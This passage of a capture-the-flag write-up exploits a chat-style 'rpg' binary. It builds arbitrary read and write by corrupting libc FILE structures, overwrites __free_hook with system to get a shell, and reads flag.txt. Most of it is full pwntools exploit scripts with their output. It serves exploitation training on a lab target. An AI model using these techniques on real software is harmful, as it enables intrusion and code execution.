file_address = leak_file_address(heap_address)
dbg.libc.address = leak_libc(file_address)

And we do obtain from it what looks like the address of libc.

$python3 solve.py
[+] leaked _IO_read_ptr: 0x55bdf0d60d68
[+] base libc: 0x7b3fa1dde000

$python3 solve.py REMOTE
[!] Debug is off, commands won't be executed
[+] leaked _IO_read_ptr: 0x58e313809888
[+] base libc: 0x77bca7b0d000

Arbitrary write

The second step of any exploit is now to find how to write data. We could try to just play around with our overflow to poison chunks in the heap and get an arbitrary write from there, but the FILE structure offers us a much simpler method.

We mentioned before how the program reads from the file. The libc is buffering a big chunk of data from /dev/urandom in the heap the first time we call fread, and as we want to read data we take it directly from this buffer without having to access the real file each time. When we end up reaching the end of the buffer the libc resets it by reading a new chunk of data from the file. This means that we can force the program to write in the buffer we defined, but is there a way to control the content of what is written ?

The right question here is how does the libc knows to read from /dev/urandom ? The information about which file should be used is also set in a member of the FILE structure, precisely _fileno that stores which file descriptor to access. In our case this is 3, but if we were to overwrite it with a 0 for example, the program would then try to read the data from stdin instead, letting us control exactly what to write.

Now that the parameters we have to control in the structure are getting more complex I will try to learn how to use instead the FileStructure class from pwntools. (There seem to be already a function FileStructure.read defined exactly to generate the payload we want, but I still prefer to get used to the structure first). My idea here will be to set the buffer to start where we want to write, and be long just enough for the data we decide to send. The read pointer will then be set to the end of this buffer so that the libc has to trigger a read from file to reset it. With some further tests though I realized that the only pointers that are necessary to trigger the read are _IO_buf_base, and _IO_buf_end, but this code still works.

One important thing that I noticed though is that since we are reading 8 bytes with /roll, if the buffer is large only 8 bytes (AKA we are trying to write a single pointer) the libc will ignore it completely! To solve this issue we just have to write more than 8 bytes even if we only want to write a pointer.

def write(what, where):
    """

    """
    fileStr = FileStructure()
    fileStr.flags = FILE_FLAGS
    fileStr._IO_read_ptr = where + len(what)
    fileStr._IO_read_end = where + len(what)
    fileStr._IO_read_base = where
    fileStr._IO_write_base = where
    fileStr._IO_write_ptr = where
    fileStr._IO_write_end = where
    fileStr._IO_buf_base = where
    fileStr._IO_buf_end = where + len(what)
    fileStr.chain = dbg.libc.symbols["_IO_2_1_stderr_"]
    fileStr.fileno = 0

    payload = fileStr.struntil("fileno")
    rename(b"A" * OFFSET + payload)
    roll(1)
    dbg.p.send(what)

# Lets overwrite our name to test if it works.
write(b"You have write permissions!", file_address)
print(dbg.p.recv())
full script
#!/usr/bin/env python3
from gdb_plus import *

binary_name = "./rpg"
context.binary = binary_name

OFFSET = 128
FILE_FLAGS = 0xfbad2488
NICK = 0x179d
ROLL = 0x181c

HOST = "127.0.0.1"
PORT = 4000

def login(username=b"default user", *, listen=True):
    dbg.p.recvuntil(b"name> ")
    dbg.p.sendline(username)
    if listen:
        return dbg.p.recvuntil(b"logged in\n")

def send(message: bytes, *, listen=True):
    dbg.p.sendline(message)
    if listen:
        dbg.p.recvuntil(b"] \x00")
        return dbg.p.recvline()

def rename(name: bytes, *, listen=True):
    """
    We redefine rename to allow writing addresses that contain null bytes.
    The idea is to loop for each null byte we have to write, letting strcpy set it in memory

    There is no way to write \n though.
    """
    assert b"\n" not in name
    name_parts = name.split(b"\x00")
    for i in range(len(name_parts)):
        name_portion = b"x".join(name_parts[:-i or None])
        send(b"/nick " + name_portion, listen=listen)

def roll(n: int):
    res = send(f"/roll {n}".encode())
    return int(res.split(b": ")[-1])

def leak_heap():
    rename(b"A" * OFFSET + p32(FILE_FLAGS) + b"B" * 4)
    roll(1)
    res = send(b"/me |", listen=False)
    dbg.p.recvuntil(b"\x00*** ")
    name = dbg.p.recvuntil(b" | ")[:-3] + b"\x00" * 2 # We add the null bytes that are not included in the string
    leak = u64(name[-8:])
    log.success(f"leaked _IO_read_ptr: {hex(leak)}")
    return leak

def read(address):
    padding = b"A" * OFFSET + p32(FILE_FLAGS) + b"B" * 4
    _IO_read_ptr = address
    _IO_read_end = address + 0x100 # Random offset
    _IO_read_base = address
    payload = padding + p64(_IO_read_ptr) + p64(_IO_read_end) + p64(_IO_read_base)
    rename(payload)
    leak = roll(0x1000000000000000) # Just has to be bigger than the address we want to read. (Must still fit in 8 bytes though)
    return leak

def write(what, where):
    fileStr = FileStructure()
    fileStr.flags = FILE_FLAGS
    fileStr._IO_read_ptr = where + len(what)
    fileStr._IO_read_end = where + len(what)
    fileStr._IO_read_base = where
    fileStr._IO_write_base = where
    fileStr._IO_write_ptr = where
    fileStr._IO_write_end = where
    fileStr._IO_buf_base = where
    fileStr._IO_buf_end = where + len(what)
    fileStr.fileno = 0

    payload = fileStr.struntil("fileno")
    rename(b"A" * OFFSET + payload)
    send(b"/roll 1", listen=False)
    dbg.p.send(what)

def leak_file_address(address):
    offset = 6728 if dbg.debugging else 1384
    return address - offset

def leak_libc(file_address):
    leak = read(file_address + 0x68)
    libc_address = leak - (dbg.libc.symbols["_IO_2_1_stderr_"] - dbg.libc.address)
    log.success(f"base libc: {hex(libc_address)}")
    return libc_address

dbg = Debugger(context.binary, aslr=False).remote(HOST, PORT)

dbg.c(wait=False)
login()
heap_address = leak_heap()
file_address = leak_file_address(heap_address)
dbg.libc.address = leak_libc(file_address)

# Lets overwrite our name to test if it works.
write(b"You have write permissions!\x00", file_address - OFFSET)
print(dbg.p.recvline())
[+] leaked _IO_read_ptr: 0x55555555bd68
[+] hex(leak)='0x7ffff7fb65e0', 0x7ffff7dd5000
b'[2025-04-16 17:48:36] \x00You have write permissions! rolled 1d1: 0\n'

Code execution

Now we can read anything, write anywhere, we just have to decide what to do with this power.

The three main options I see are:

  1. attack one of the hooks in the heap.
  2. locate our return address on the stack to write a ropchain.
  3. try to poison the vtables of our file.

I have never looked into how to attack the vtables and at some point should, but since the challenge is using the libc-2.33, the last versions before they removed our favorite backdoors __free_hook and __malloc_hook, I will start by playing around with them in the name of the good old days.

For those young enough to not remember that era of heap exploitation, until the libc-2.34 there were hooks in the libc that would be called before executing malloc or free. Usually the main one we would use was __free_hook because it is easy to control the argument of free, more than of malloc. The typical payload back then was setting it to system, calling free on a chunk with “/bin/sh” in it, and just like that you had a shell.

Testing one gadget

In this case our message is being freed at each iteration of the loop, and since calling message also uses chunks with content that we don’t control I am worried that it may crash the program if we make a hook point to system. I will first test if we can use a one gadget instead. One gadgets are gadgets from which we directly obtain a call to execve("/bin/sh") without the need of any setup, but only if we are lucky in the state of our registers. So although not reliable, they are always a nice thing to try first since they could be enough to finish the challenge right here and there.

$one_gadget libs/libc.so.6
0xde78c execve("/bin/sh", r15, r12)
constraints:
  [r15] == NULL || r15 == NULL || r15 is a valid argv
  [r12] == NULL || r12 == NULL || r12 is a valid envp

0xde78f execve("/bin/sh", r15, rdx)
constraints:
  [r15] == NULL || r15 == NULL || r15 is a valid argv
  [rdx] == NULL || rdx == NULL || rdx is a valid envp

0xde792 execve("/bin/sh", rsi, rdx)
constraints:
  [rsi] == NULL || rsi == NULL || rsi is a valid argv
  [rdx] == NULL || rdx == NULL || rdx is a valid envp
...
one_gadgets = [0xde78c, 0xde78f, 0xde792]
symbols = ["__free_hook", "__malloc_hook"]

p = log.progress("trying one gadgets")

for symbol in symbols:
    for i, gadget in enumerate(one_gadgets):
        p.status(f"{symbol}: {i+1}/3")
        with Debugger(context.binary) as dbg:
            dbg.c(wait=False)
            login()
            heap_address = leak_heap()
            file_address = leak_file_address(heap_address)
            dbg.libc.address = leak_libc(file_address)
            write(p64(dbg.libc.address + gadget) + b"\x00", dbg.libc.symbols[symbol])  # We need to write 9 bytes to force the libc to use the buffer
            dbg.p.interactive()

Unfortunately they all segfault, so we have to continue and look further.

Testing __free_hook -> system

The second idea was then to set __free_hook to point to system so that ideally we can send a message with /bin/sh and get a shell when the program frees it.

...
dbg = Debugger(context.binary)
dbg.c(wait=False)
login()
heap_address = leak_heap()
file_address = leak_file_address(heap_address)
dbg.libc.address = leak_libc(file_address)
write(p64(dbg.libc.symbols["system"]) + b"\x00", dbg.libc.symbols["__free_hook"])
dbg.p.interactive()
full script
#!/usr/bin/env python3
from gdb_plus import *

binary_name = "./rpg"
context.binary = binary_name

OFFSET = 128
FILE_FLAGS = 0xfbad2488
NICK = 0x179d
ROLL = 0x181c

HOST = "127.0.0.1"
PORT = 4000

def login(username=b"default user", *, listen=True):
    dbg.p.recvuntil(b"name> ")
    dbg.p.sendline(username)
    if listen:
        return dbg.p.recvuntil(b"logged in\n")

def send(message: bytes, *, listen=True):
    dbg.p.sendline(message)
    if listen:
        dbg.p.recvuntil(b"] \x00")
        return dbg.p.recvline()

def rename(name: bytes, *, listen=True):
    """
    We redefine rename to allow writing addresses that contain null bytes.
    The idea is to loop for each null byte we have to write, letting strcpy set it in memory

    There is no way to write \n though.
    """
    assert b"\n" not in name
    name_parts = name.split(b"\x00")
    for i in range(len(name_parts)):
        name_portion = b"x".join(name_parts[:-i or None])
        send(b"/nick " + name_portion, listen=listen)

def roll(n: int):
    res = send(f"/roll {n}".encode())
    return int(res.split(b": ")[-1])

def leak_heap():
    rename(b"A" * OFFSET + p32(FILE_FLAGS) + b"B" * 4)
    roll(1)
    res = send(b"/me |", listen=False)
    dbg.p.recvuntil(b"\x00*** ")
    name = dbg.p.recvuntil(b" | ")[:-3] + b"\x00" * 2 # We add the null bytes that are not included in the string
    leak = u64(name[-8:])
    log.success(f"leaked _IO_read_ptr: {hex(leak)}")
    return leak

def read(address):
    padding = b"A" * OFFSET + p32(FILE_FLAGS) + b"B" * 4
    _IO_read_ptr = address
    _IO_read_end = address + 0x100 # Random offset
    _IO_read_base = address
    payload = padding + p64(_IO_read_ptr) + p64(_IO_read_end) + p64(_IO_read_base)
    rename(payload)
    leak = roll(0x1000000000000000) # Just has to be bigger than the address we want to read. (Must still fit in 8 bytes though)
    return leak

def write(what, where, *, breakpoint=None):
    fileStr = FileStructure()
    fileStr.flags = FILE_FLAGS
    fileStr._IO_read_ptr = where + len(what)
    fileStr._IO_read_end = where + len(what)
    fileStr._IO_read_base = where
    fileStr._IO_write_base = where
    fileStr._IO_write_ptr = where
    fileStr._IO_write_end = where
    fileStr._IO_buf_base = where
    fileStr._IO_buf_end = where + len(what)
    fileStr.fileno = 0

    payload = fileStr.struntil("fileno")
    rename(b"A" * OFFSET + payload)
    send(b"/roll 1", listen=False)
    if breakpoint is not None:
        dbg.interrupt()
        done = dbg.until(breakpoint, wait=False)
    dbg.p.send(what)
    if breakpoint is not None:
        return done

def leak_file_address(address):
    offset = 6728 if dbg.debugging else 1384
    return address - offset

def leak_libc(file_address):
    leak = read(file_address + 0x68)
    libc_address = leak - 0x1e15e0
    log.success(f"base libc: {hex(libc_address)}")
    return libc_address

dbg = Debugger(context.binary, aslr=False).remote(HOST, PORT)

dbg.c(wait=False)
login()
heap_address = leak_heap()
file_address = leak_file_address(heap_address)
dbg.libc.address = leak_libc(file_address)

write(p64(dbg.libc.symbols["system"]) + b"\x00", dbg.libc.symbols["__free_hook"])
dbg.p.interactive()

I was expecting issues with the call to message, but we already get a shell without even needing to send /bin/sh!

$python3 solve.py REMOTE
[!] Debug is off, commands won't be executed
[+] leaked _IO_read_ptr: 0x634857a24888
[+] base libc: 0x70779a77d000
b'[2025-04-17 12:47:20] \x00You have write permissions! rolled 1d1: 0\n'
[*] Switching to interactive mode
[2025-04-17 12:47:21] \x00AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x88$\xad\xfb rolled 1d1: 0
$ ls
[2025-04-17 12:47:23] \x00AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x88$\xad\xfb: ls
flag.txt
rpg
$ cat flag.txt
[2025-04-17 12:47:26] \x00AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x88$\xad\xfb: cat flag.txt
...

The thing is that now with our hook set, the program will call system on all data being free as we said, but while I was worried about it crashing if we didn’t control the first chunk because it wouldn’t be a valid command, by looking at the logs we see that system failing has no consequences. We can now execute every message we send as a command and don’t even need to send a /bin/sh because the whole program is basically a shell already!

$docker compose up --build --remove-orphans
[+] Running 1/1
 ✔ Container files-rpg-1  Created                                          0.0s
Attaching to rpg-1
rpg-1  | sh: 1: /etc/localtime: not found
rpg-1  | sh: 1:
                $��: not found
rpg-1  | sh: 1: /roll: not found
rpg-1  | sh: 1: /etc/localtime: not found
rpg-1  | sh: 1:
                $��: not found
rpg-1  | sh: 1: /etc/localtime: not found
rpg-1  | sh: 1:
                $��: not found
rpg-1  | getline: No such file or directory

Final exploit

#!/usr/bin/env python3
from gdb_plus import *

binary_name = "./rpg"
context.binary = binary_name

OFFSET = 128
FILE_FLAGS = 0xfbad2488
NICK = 0x179d
ROLL = 0x181c

HOST = "127.0.0.1"
PORT = 4000

def login(username=b"default user", *, listen=True):
    dbg.p.recvuntil(b"name> ")
    dbg.p.sendline(username)
    if listen:
        return dbg.p.recvuntil(b"logged in\n")

def send(message: bytes, *, listen=True):
    dbg.p.sendline(message)
    if listen:
        dbg.p.recvuntil(b"] \x00")
        return dbg.p.recvline()

def rename(name: bytes, *, listen=True):
    """
    We redefine rename to allow writing addresses that contain null bytes.
    The idea is to loop for each null byte we have to write, letting strcpy set it in memory

    There is no way to write \n though.
    """
    assert b"\n" not in name
    name_parts = name.split(b"\x00")
    for i in range(len(name_parts)):
        name_portion = b"x".join(name_parts[:-i or None])
        send(b"/nick " + name_portion, listen=listen)

def roll(n: int):
    res = send(f"/roll {n}".encode())
    return int(res.split(b": ")[-1])

def leak_heap():
    rename(b"A" * OFFSET + p32(FILE_FLAGS) + b"B" * 4)
    roll(1)
    res = send(b"/me |", listen=False)
    dbg.p.recvuntil(b"\x00*** ")
    name = dbg.p.recvuntil(b" | ")[:-3] + b"\x00" * 2 # We add the null bytes that are not included in the string
    leak = u64(name[-8:])
    log.success(f"leaked _IO_read_ptr: {hex(leak)}")
    return leak

def read(address):
    padding = b"A" * OFFSET + p32(FILE_FLAGS) + b"B" * 4
    _IO_read_ptr = address
    _IO_read_end = address + 0x100 # Random offset
    _IO_read_base = address
    payload = padding + p64(_IO_read_ptr) + p64(_IO_read_end) + p64(_IO_read_base)
    rename(payload)
    leak = roll(0x1000000000000000) # Just has to be bigger than the address we want to read. (Must still fit in 8 bytes though)
    return leak

def write(what, where, *, breakpoint=None):
    fileStr = FileStructure()
    fileStr.flags = FILE_FLAGS
    fileStr._IO_buf_base = where
    fileStr._IO_buf_end = where + len(what)
    fileStr.fileno = 0

    payload = fileStr.struntil("fileno")
    rename(b"A" * OFFSET + payload)
    send(b"/roll 1", listen=False)
    if breakpoint is not None:
        dbg.interrupt()
        done = dbg.until(breakpoint, wait=False)
    dbg.p.send(what)
    if breakpoint is not None:
        return done

def leak_file_address(address):
    offset = 6728 if dbg.debugging else 1384
    return address - offset

def leak_libc(file_address):
    leak = read(file_address + 0x68)
    libc_address = leak - 0x1e15e0
    log.success(f"base libc: {hex(libc_address)}")
    return libc_address

dbg = Debugger(context.binary, aslr=False).remote(HOST, PORT)

dbg.c(wait=False)
login()
heap_address = leak_heap()
file_address = leak_file_address(heap_address)
dbg.libc.address = leak_libc(file_address)

write(p64(dbg.libc.symbols["system"]) + b"\x00", dbg.libc.symbols["__free_hook"])
dbg.p.sendline(b"cat flag.txt")
dbg.p.recvuntil(b"cat flag.txt\n")
flag = dbg.p.recvline().decode()
log.success(f"FLAG: {flag}")
dbg.close()

Conclusion

I will still complain that the dice result is computed with random() % n instead of random() % n + 1 just to tease the author, but it was a really nice challenge that made me finally look into the FILE structure without being overwhelmed. I’m curious to see though if someone solved it with some poisoning of the bins or getting code executing from the vtable.

In the meantime though I hope you had as much fun as me exploring the FILE structure and how the different properties worked together.